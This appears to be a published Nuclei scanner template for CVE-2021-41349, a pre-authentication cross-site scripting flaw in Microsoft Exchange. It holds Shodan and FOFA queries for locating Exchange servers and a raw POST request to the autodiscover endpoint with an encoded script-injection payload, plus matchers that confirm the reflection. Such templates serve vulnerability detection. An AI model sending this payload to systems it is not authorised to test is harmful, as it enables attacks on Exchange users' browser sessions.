Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting

ID: CVE-2021-41349

Severity: medium

Author: rootxharsh,iamnoooob

Tags: cve,cve2021,xss,microsoft,exchange

Description

Microsoft Exchange Server is vulnerable to a spoofing vulnerability. Be aware this CVE ID is unique from CVE-2021-42305.

YAML Source

id: CVE-2021-41349

info:
  name: Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting
  author: rootxharsh,iamnoooob
  severity: medium
  description: Microsoft Exchange Server is vulnerable to a spoofing vulnerability. Be aware this CVE ID is unique from CVE-2021-42305.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
  reference:
    - https://www.microsoft.com/en-us/download/details.aspx?id=103643
    - https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-41349
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41349
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41349
    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41349
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-41349
    epss-score: 0.96172
    epss-percentile: 0.99474
    cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microsoft
    product: exchange_server
    shodan-query:
      - vuln:cve-2021-26855
      - http.favicon.hash:1768726119
      - http.title:"outlook"
      - cpe:"cpe:2.3:a:microsoft:exchange_server"
    fofa-query:
      - title="outlook"
      - icon_hash=1768726119
    google-query: intitle:"outlook"
  tags: cve,cve2021,xss,microsoft,exchange

http:
  - raw:
      - |
        POST /autodiscover/autodiscover.json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        %3Cscript%3Ealert%28document.domain%29%3B+a=%22%3C%2Fscript%3E&x=1

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'alert(document.domain);'
          - 'a=""'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: word
        negative: true
        words:
          - "A potentially dangerous Request.Form value was detected from the client"

      - type: status
        status:
          - 500
# digest: 4a0a0047304502210083738fe02ddf5f37a7ab937c90afce2361ce440909cee68f7915b424a91ed6cf02206d5d368bd35164f33757e2d51dc19897830564e05ad9e2f1251b7adf30510f4b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-41349.yaml"

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